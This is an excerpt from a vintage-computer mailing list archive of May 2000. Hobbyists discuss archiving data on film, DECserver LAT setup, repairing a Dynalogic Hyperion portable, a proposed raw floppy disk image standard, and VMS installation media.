2005 Subject: OT: Archiving data (LONG) In-Reply-To: Message-ID: On Wed, 31 May 2000, Sellam Ismail wrote: > On Wed, 31 May 2000 CLASSICCMP@trailing-edge.com wrote: > > > I think mike was talking about storing data on photographic film, like [snip] > > Yes, but how long can we expect the film to last? Direct research data from the realm of film preservation and restoration suggests that, for properly manufactured and properly processed Estar-based films, useable life is over 150 years, given reasonable (office environment) storage. Some benefits are good info density, very simple electro-optical reading system, and a 'fail-soft' degradation mode... with well-known error correction algorithms the film can be pretty well hashed up before total data loss occurs. Interested folk can look to the Library of Congress, who are spearheading the film preservation work in this country. Cheers John From kenn at linux.ie Wed May 31 18:55:19 2000 From: kenn at linux.ie (Kenn Humborg) Date: Sun Feb 27 18:53:16 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: ; from thompson@mail.athenet.net on Wed, May 31, 2000 at 03:08:44PM -0500 References: Message-ID: <20000601005519.A6859@avalon.research.wombat.ie> On Wed, May 31, 2000 at 03:08:44PM -0500, Paul Thompson wrote: > > Set the ports connected to the console(s) up as a LAT service and connect > to that service from another port on the DECserver or host. > > See help DEFINE SERVICE or SET SERVICE > > You would need to set the console connected ports up as remote access (as > opposed to local access) Bummer... I was hoping it could be done purely within the DECserver, without a another machine. Oh well... Thanks, Kenn From at258 at osfn.org Wed May 31 19:02:33 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:53:16 2005 Subject: Info on the Dynalogic Hyperion In-Reply-To: <020401bfcb38$e0affbe0$e3d30618@sttln1.wa.home.com> Message-ID: We have one with the same problem. The Hyperion is a really nice little machine. On Wed, 31 May 2000, Leo Butzel wrote: > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > manufactures around 1983. At least the one I have is 1983. it was designed > and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 > by Bytec, who was later bought by I think a Quebec company called Comterm. > Anyway, mine has stopped working: The machine still boots but no image is > displayed on its 7" diag screen. Hence I am looking for service info and/or > persons who have worked on the machine. > > Any leads would be most appreciated. > > Leo Butzel > Seattle, WA > lbutzel@home.com > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From ard at p850ug1.demon.co.uk Wed May 31 19:00:47 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:18 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <10006010006.ZM13074@indy.dunnington.u-net.com> from "Pete Turnbull" at May 31, 0 11:06:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1005 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000601/380b1ada/attachment-0001.ksh From eric at brouhaha.com Wed May 31 19:21:01 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:18 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: (message from Sellam Ismail on Wed, 31 May 2000 15:10:33 -0700 (PDT)) References: Message-ID: <20000601002101.6695.qmail@brouhaha.com> > What encoding method did it use? 4&4 or 6&2? I'll assume 6&2? 6&2. > > pretty good. However, there was no reason why the same performance (but > > not density) couldn't be achieved with standard sectors. The Apple /// > > SOS disk driver pioneered this, and IIRC Prodos did it as well. > > Sure, read the raw track into a buffer in memory and then process it. The > only drawback is the requirement for a relatively large buffer. No, the trick (as used in SOS, and in the Lisa I/O card ROM) is to do 1:1 interleave *without8 a track buffer. They directly denibblize as they're reading the bits from the disk. From lbutzel at home.com Wed May 31 18:36:12 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:53:18 2005 Subject: Info on the Dynalogic Hyperion References: Message-ID: <024e01bfcb59$01853c20$e3d30618@sttln1.wa.home.com> Merle - Totally agree, the Hyperion is I think a nifty, handsome little creation. So, does your machine appear to boot up even though you have no image? What about the on/off switch: Does it light up when you turn the machine on? Where are you located? Will keep you posted as to my progress. Regards Leo Butzel Seattle, WA lbutzel@home.com ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 5:02 PM Subject: Re: Info on the Dynalogic Hyperion > We have one with the same problem. The Hyperion is a really nice little > machine. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > manufactures around 1983. At least the one I have is 1983. it was designed > > and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 > > by Bytec, who was later bought by I think a Quebec company called Comterm. > > Anyway, mine has stopped working: The machine still boots but no image is > > displayed on its 7" diag screen. Hence I am looking for service info and/or > > persons who have worked on the machine. > > > > Any leads would be most appreciated. > > > > Leo Butzel > > Seattle, WA > > lbutzel@home.com > > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From lbutzel at home.com Wed May 31 18:39:18 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:53:18 2005 Subject: Dynalogic Hyperion (2) References: Message-ID: <025e01bfcb59$70c43d20$e3d30618@sttln1.wa.home.com> Merle - Just found your address, at the bottom of your email! Leo ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 5:02 PM Subject: Re: Info on the Dynalogic Hyperion > We have one with the same problem. The Hyperion is a really nice little > machine. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > manufactures around 1983. At least the one I have is 1983. it was designed > > and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 > > by Bytec, who was later bought by I think a Quebec company called Comterm. > > Anyway, mine has stopped working: The machine still boots but no image is > > displayed on its 7" diag screen. Hence I am looking for service info and/or > > persons who have worked on the machine. > > > > Any leads would be most appreciated. > > > > Leo Butzel > > Seattle, WA > > lbutzel@home.com > > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From richard at idcomm.com Wed May 31 20:54:52 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:18 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <006701bfcb6c$6c818fc0$0400c0a8@EAHOME> Yes! That's a stream of bits, blocked into a stream of bytes, and that means one thing to you and me, but quite another to Sellam. The issue is the sync-loss before and after each data field: the write splice. If you want to manufacture/synthesize a reasonable facsimile of the original you can't just depend on the "user" bytes, i.e. the data fields, but you have to preserve the sector ID fields and you have to put something meaningful in the write splices, which are, after all, sync fields. If you want to replicate a diskette precisely, you have to oversample the entire area of the diskette in which you have an interest, then store it in whatever medium you desire. The beauty of this is that once it's in the system, you can post process it, aligning the transitions in the file very precisely and allowing for the need for write-precompensation if you like, so that the product you write to the destination diskette is written in complete synchronization with the underlying format, as though it were written at once, which, of course, it will have been. I've written you off-list describing an approach to doing this very thing. Perhaps you can lend benefit of your many years' experience. Dick ----- Original Message ----- From: Tony Duell To: Sent: Wednesday, May 31, 2000 12:35 PM Subject: Re: Defining Disk Image Dump Standard > > > > If only you understood how FDD's work, Sellam! > > > > You say "> A floppy diskette is a stream of bytes. " > > > > The stuff on a diskette is not a byte stream. It's a carefully worked-out > > Well, it can certainly be represented by one.... > > Suppose we know something about the data on the disk. That it's (say) > recorded at a data rate of a maximum of 500k pulses/sec. That's to say, > pulses appear (or not) at 2uS intervals. > > Fine. We sample the read data line every 2uS, resyncing the read clock as > appropriate. We record whether or not there was a pulse (== a magnetic > transition on the disk). In the end we have a stream of _bytes_. These > are not the user bytes, they include the clock pulses, DAMs, etc. But it > is a complete representation of what's on the disk. > > Suppose we don't know anything about the format. We either sample > sufficiently fast that we record the position of each pulse to an > acceptable accuracy (which produces a large archive file, true, but it is > still a stream of bytes). Or more sensibly we say : Well, the disk goes > round once every 200ms. Pulses can't ocurr closer than 20ns. We measure > the time between the pulses (the pulse width is unimportant on every > floppy drive I've ever seen) and record it as a 24 bit number in units of > 20ns. That caters for everything from pulses closer together than any > real floppy has ever used to 1 pulse/revolution. And we record those 24 > bit nunbers as (guess what...) a stream of bytes. > > -tony > From geoffrob at stmarks.pp.catholic.edu.au Wed May 31 20:56:26 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:53:18 2005 Subject: VMS media availability for VAX 8530 References: Message-ID: <00f101bfcb6c$98b57ac0$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Clint Wolff (VAX collector)" To: Sent: Thursday, June 01, 2000 9:13 AM Subject: Re: VMS media availability for VAX 8530 > > I've copied VMS 5.? onto 9-track tape for my '750. The only major > problem is booting standalone backup. 9-tracks aren't bootable > (or at least I've never seen a boot program that worked for them). Hmm, I'm fairly sure it's possible, but I've never tried it. (Never had to) it should be just a matter of entering the correct incantations at the console. The other problem the guy has is the lack of console o/s or the media to install it. I have all that, (POS plus the console and comms software) and VMS 6.x on 9 track, but was really hoping someone on the same continent could offer some practical assistance. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob at stmarks dot pp dot catholic dot edu dot au ICQ: 1970476 From richard at idcomm.com Wed May 31 20:58:40 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:18 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <007301bfcb6c$e9560b20$0400c0a8@EAHOME> If you acquire the data by manifold oversampling, you can infer the speed and deviations in it from the acquired data. Fortunately, this can all be handled in software after the goodies are in captivity. You do have to have some baseline statistics, though, such as FD size. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Wednesday, May 31, 2000 2:34 PM Subject: Re: Defining Disk Image Dump Standard > > I just considered another bit of data that might be useful to store in the > Archive Header. > > If one were to have to read the raw bytes off of a track due to some > non-standard format, it would be helpful to know at what rate the disk > drive that read the disk was spinning so that if and when that archive was > used to re-create the original disk, the writing drive could be adjusted > to match the speed at which it was read. This is pretty imperative. > > A quick test can be done before the disk is read to determine the RPM. Of > course, having an optimally tuned drive would be recommended if one is to > be serious about creating software archives for posterity. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From at258 at osfn.org Wed May 31 22:29:48 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:53:18 2005 Subject: Info on the Dynalogic Hyperion In-Reply-To: <024e01bfcb59$01853c20$e3d30618@sttln1.wa.home.com> Message-ID: Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, but the screen remains dark. I think the bulb in the power switch is burned out. I'm in Rhode Island. We have a second one that works fine, even has the carrying case. On Wed, 31 May 2000, Leo Butzel wrote: > Merle - > > Totally agree, the Hyperion is I think a nifty, handsome little creation. > So, does your machine appear to boot up even though you have no image? What > about the on/off switch: Does it light up when you turn the machine on? > Where are you located? Will keep you posted as to my progress. > > Regards > > Leo Butzel > Seattle, WA > lbutzel@home.com > > ----- Original Message ----- > From: Merle K. Peirce > To: > Cc: > Sent: Wednesday, May 31, 2000 5:02 PM > Subject: Re: Info on the Dynalogic Hyperion > > > > We have one with the same problem. The Hyperion is a really nice little > > machine. > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > manufactures around 1983. At least the one I have is 1983. it was > designed > > > and initially built in Ottawa, Canada. Hyperion was acquired in about > 1983 > > > by Bytec, who was later bought by I think a Quebec company called > Comterm. > > > Anyway, mine has stopped working: The machine still boots but no image > is > > > displayed on its 7" diag screen. Hence I am looking for service info > and/or > > > persons who have worked on the machine. > > > > > > Any leads would be most appreciated. > > > > > > Leo Butzel > > > Seattle, WA > > > lbutzel@home.com > > > > > > > > > > > > > > > > M. K. Peirce > > Rhode Island Computer Museum, Inc. > > 215 Shady Lea Road, > > North Kingstown, RI 02852 > > > > "Casta est qui nemo rogavit." > > > > - Ovid > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From nerdware at laidbak.com Wed May 31 23:03:43 2000 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 18:53:18 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <200005312151.OAA10594@shell1.aracnet.com> References: from "Mike Ford" at May 31, 2000 01:57:21 PM Message-ID: <200006010400.e5140m607945@grover.winsite.com> From: healyzh@aracnet.com Subject: Re: VAX-11? and some C64 stuff To: classiccmp@classiccmp.org Date sent: Wed, 31 May 2000 14:51:52 -0700 (PDT) Send reply to: classiccmp@classiccmp.org > > The most important consideration would be, if it will support the system > you want to use it with. As for running a Dual Headed Mac, I'd love to! > I've used dual headed Sun's and HP's and it rocks! I believe at least one > list member is running a 9500 with 3 17" monitors! > > Zane > Will be, hopefully in a couple of weeks. Got all three vid cards, got three AppleVision-branded Trinitrons on the floor next to my desk. Just need to get the new workstation console built and everything wired in.......can someone get me three extra days next week? Paul Braun Cygnus Productions nerdware_nospam@laidbak.com From lbutzel at home.com Wed May 31 22:00:22 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:53:18 2005 Subject: Info on the Dynalogic Hyperion References: Message-ID: <02b401bfcb75$876f6560$e3d30618@sttln1.wa.home.com> Your symptoms are identical to mine. Likewise have a (soft) carrying case. Have quite a wide selection of compatible software including 123, Multiplan & Rbase. ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 8:29 PM Subject: Re: Info on the Dynalogic Hyperion > > Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, > but the screen remains dark. I think the bulb in the power switch is > burned out. I'm in Rhode Island. We have a second one that works fine, > even has the carrying case. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Merle - > > > > Totally agree, the Hyperion is I think a nifty, handsome little creation. > > So, does your machine appear to boot up even though you have no image? What > > about the on/off switch: Does it light up when you turn the machine on? > > Where are you located? Will keep you posted as to my progress. > > > > Regards > > > > Leo Butzel > > Seattle, WA > > lbutzel@home.com > > > > ----- Original Message ----- > > From: Merle K. Peirce > > To: > > Cc: > > Sent: Wednesday, May 31, 2000 5:02 PM > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > We have one with the same problem. The Hyperion is a really nice little > > > machine. > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > > manufactures around 1983. At least the one I have is 1983. it was > > designed > > > > and initially built in Ottawa, Canada. Hyperion was acquired in about > > 1983 > > > > by Bytec, who was later bought by I think a Quebec company called > > Comterm. > > > > Anyway, mine has stopped working: The machine still boots but no image > > is > > > > displayed on its 7" diag screen. Hence I am looking for service info > > and/or > > > > persons who have worked on the machine. > > > > > > > > Any leads would be most appreciated. > > > > > > > > Leo Butzel > > > > Seattle, WA > > > > lbutzel@home.com > > > > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > Rhode Island Computer Museum, Inc. > > > 215 Shady Lea Road, > > > North Kingstown, RI 02852 > > > > > > "Casta est qui nemo rogavit." > > > > > > - Ovid > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid > From foo at siconic.com Wed May 31 22:08:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:53:18 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <20000601002101.6695.qmail@brouhaha.com> Message-ID: On 1 Jun 2000, Eric Smith wrote: > No, the trick (as used in SOS, and in the Lisa I/O card ROM) is to > do 1:1 interleave *without8 a track buffer. They directly denibblize > as they're reading the bits from the disk. I didn't think the ][ was fast enough to do that? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From at258 at osfn.org Wed May 31 23:10:57 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:53:18 2005 Subject: Info on the Dynalogic Hyperion In-Reply-To: <02b401bfcb75$876f6560$e3d30618@sttln1.wa.home.com> Message-ID: As I recall, ours has special software, a word processor, a comm programme, and something else - a database? We also have Multiplan and perhaps Lotus floating around. I think it is one of the nicest of the early portables. On Wed, 31 May 2000, Leo Butzel wrote: > Your symptoms are identical to mine. Likewise have a (soft) carrying case. > Have quite a wide selection of compatible software including 123, Multiplan > & Rbase. > > ----- Original Message ----- > From: Merle K. Peirce > To: > Cc: > Sent: Wednesday, May 31, 2000 8:29 PM > Subject: Re: Info on the Dynalogic Hyperion > > > > > > Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, > > but the screen remains dark. I think the bulb in the power switch is > > burned out. I'm in Rhode Island. We have a second one that works fine, > > even has the carrying case. > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > Merle - > > > > > > Totally agree, the Hyperion is I think a nifty, handsome little > creation. > > > So, does your machine appear to boot up even though you have no image? > What > > > about the on/off switch: Does it light up when you turn the machine on? > > > Where are you located? Will keep you posted as to my progress. > > > > > > Regards > > > > > > Leo Butzel > > > Seattle, WA > > > lbutzel@home.com > > > > > > ----- Original Message ----- > > > From: Merle K. Peirce > > > To: > > > Cc: > > > Sent: Wednesday, May 31, 2000 5:02 PM > > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > > > > We have one with the same problem. The Hyperion is a really nice > little > > > > machine. > > > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > > > manufactures around 1983. At least the one I have is 1983. it was > > > designed > > > > > and initially built in Ottawa, Canada. Hyperion was acquired in > about > > > 1983 > > > > > by Bytec, who was later bought by I think a Quebec company called > > > Comterm. > > > > > Anyway, mine has stopped working: The machine still boots but no > image > > > is > > > > > displayed on its 7" diag screen. Hence I am looking for service info > > > and/or > > > > > persons who have worked on the machine. > > > > > > > > > > Any leads would be most appreciated. > > > > > > > > > > Leo Butzel > > > > > Seattle, WA > > > > > lbutzel@home.com > > > > > > > > > > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > > Rhode Island Computer Museum, Inc. > > > > 215 Shady Lea Road, > > > > North Kingstown, RI 02852 > > > > > > > > "Casta est qui nemo rogavit." > > > > > > > > - Ovid > > > > > > > > > > > > > > M. K. Peirce > > Rhode Island Computer Museum, Inc. > > 215 Shady Lea Road, > > North Kingstown, RI 02852 > > > > "Casta est qui nemo rogavit." > > > > - Ovid > > > > M. K. Peirce Rhode Island Computer Museum, Inc. 215 Shady Lea Road, North Kingstown, RI 02852 "Casta est qui nemo rogavit." - Ovid From lbutzel at home.com Wed May 31 22:44:30 2000 From: lbutzel at home.com (Leo Butzel) Date: Sun Feb 27 18:53:18 2005 Subject: Info on the Dynalogic Hyperion References: Message-ID: <02c201bfcb7b$b1a59ce0$e3d30618@sttln1.wa.home.com> Yes, I have the additional software you mentioned. Almost think the machine was ahead of it's time, very swank looking, to well made (like a tank) and to expensive. Such is often life of good ideas/creations. ----- Original Message ----- From: Merle K. Peirce To: Cc: Sent: Wednesday, May 31, 2000 9:10 PM Subject: Re: Info on the Dynalogic Hyperion > As I recall, ours has special software, a word processor, a comm > programme, and something else - a database? We also have Multiplan and > perhaps Lotus floating around. I think it is one of the nicest of the > early portables. > > On Wed, 31 May 2000, Leo Butzel wrote: > > > Your symptoms are identical to mine. Likewise have a (soft) carrying case. > > Have quite a wide selection of compatible software including 123, Multiplan > > & Rbase. > > > > ----- Original Message ----- > > From: Merle K. Peirce > > To: > > Cc: > > Sent: Wednesday, May 31, 2000 8:29 PM > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > > > > Yes, the machine smakes booting sounds, so I'm convinced it's boot8ing, > > > but the screen remains dark. I think the bulb in the power switch is > > > burned out. I'm in Rhode Island. We have a second one that works fine, > > > even has the carrying case. > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > Merle - > > > > > > > > Totally agree, the Hyperion is I think a nifty, handsome little > > creation. > > > > So, does your machine appear to boot up even though you have no image? > > What > > > > about the on/off switch: Does it light up when you turn the machine on? > > > > Where are you located? Will keep you posted as to my progress. > > > > > > > > Regards > > > > > > > > Leo Butzel > > > > Seattle, WA > > > > lbutzel@home.com > > > > > > > > ----- Original Message ----- > > > > From: Merle K. Peirce > > > > To: > > > > Cc: > > > > Sent: Wednesday, May 31, 2000 5:02 PM > > > > Subject: Re: Info on the Dynalogic Hyperion > > > > > > > > > > > > > We have one with the same problem. The Hyperion is a really nice > > little > > > > > machine. > > > > > > > > > > On Wed, 31 May 2000, Leo Butzel wrote: > > > > > > > > > > > Looking for info on the Dynalogic Hyperion, a "portable" DOS machine > > > > > > manufactures around 1983. At least the one I have is 1983. it was > > > > designed > > > > > > and initially built in Ottawa, Canada. Hyperion was acquired in > > about > > > > 1983 > > > > > > by Bytec, who was later bought by I think a Quebec company called > > > > Comterm. > > > > > > Anyway, mine has stopped working: The machine still boots but no > > image > > > > is > > > > > > displayed on its 7" diag screen. Hence I am looking for service info > > > > and/or > > > > > > persons who have worked on the machine. > > > > > > > > > > > > Any leads would be most appreciated. > > > > > > > > > > > > Leo Butzel > > > > > > Seattle, WA > > > > > > lbutzel@home.com > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > > > Rhode Island Computer Museum, Inc. > > > > > 215 Shady Lea Road, > > > > > North Kingstown, RI 02852 > > > > > > > > > > "Casta est qui nemo rogavit." > > > > > > > > > > - Ovid > > > > > > > > > > > > > > > > > > > M. K. Peirce > > > Rhode Island Computer Museum, Inc. > > > 215 Shady Lea Road, > > > North Kingstown, RI 02852 > > > > > > "Casta est qui nemo rogavit." > > > > > > - Ovid > > > > > > > > > M. K. Peirce > Rhode Island Computer Museum, Inc. > 215 Shady Lea Road, > North Kingstown, RI 02852 > > "Casta est qui nemo rogavit." > > - Ovid >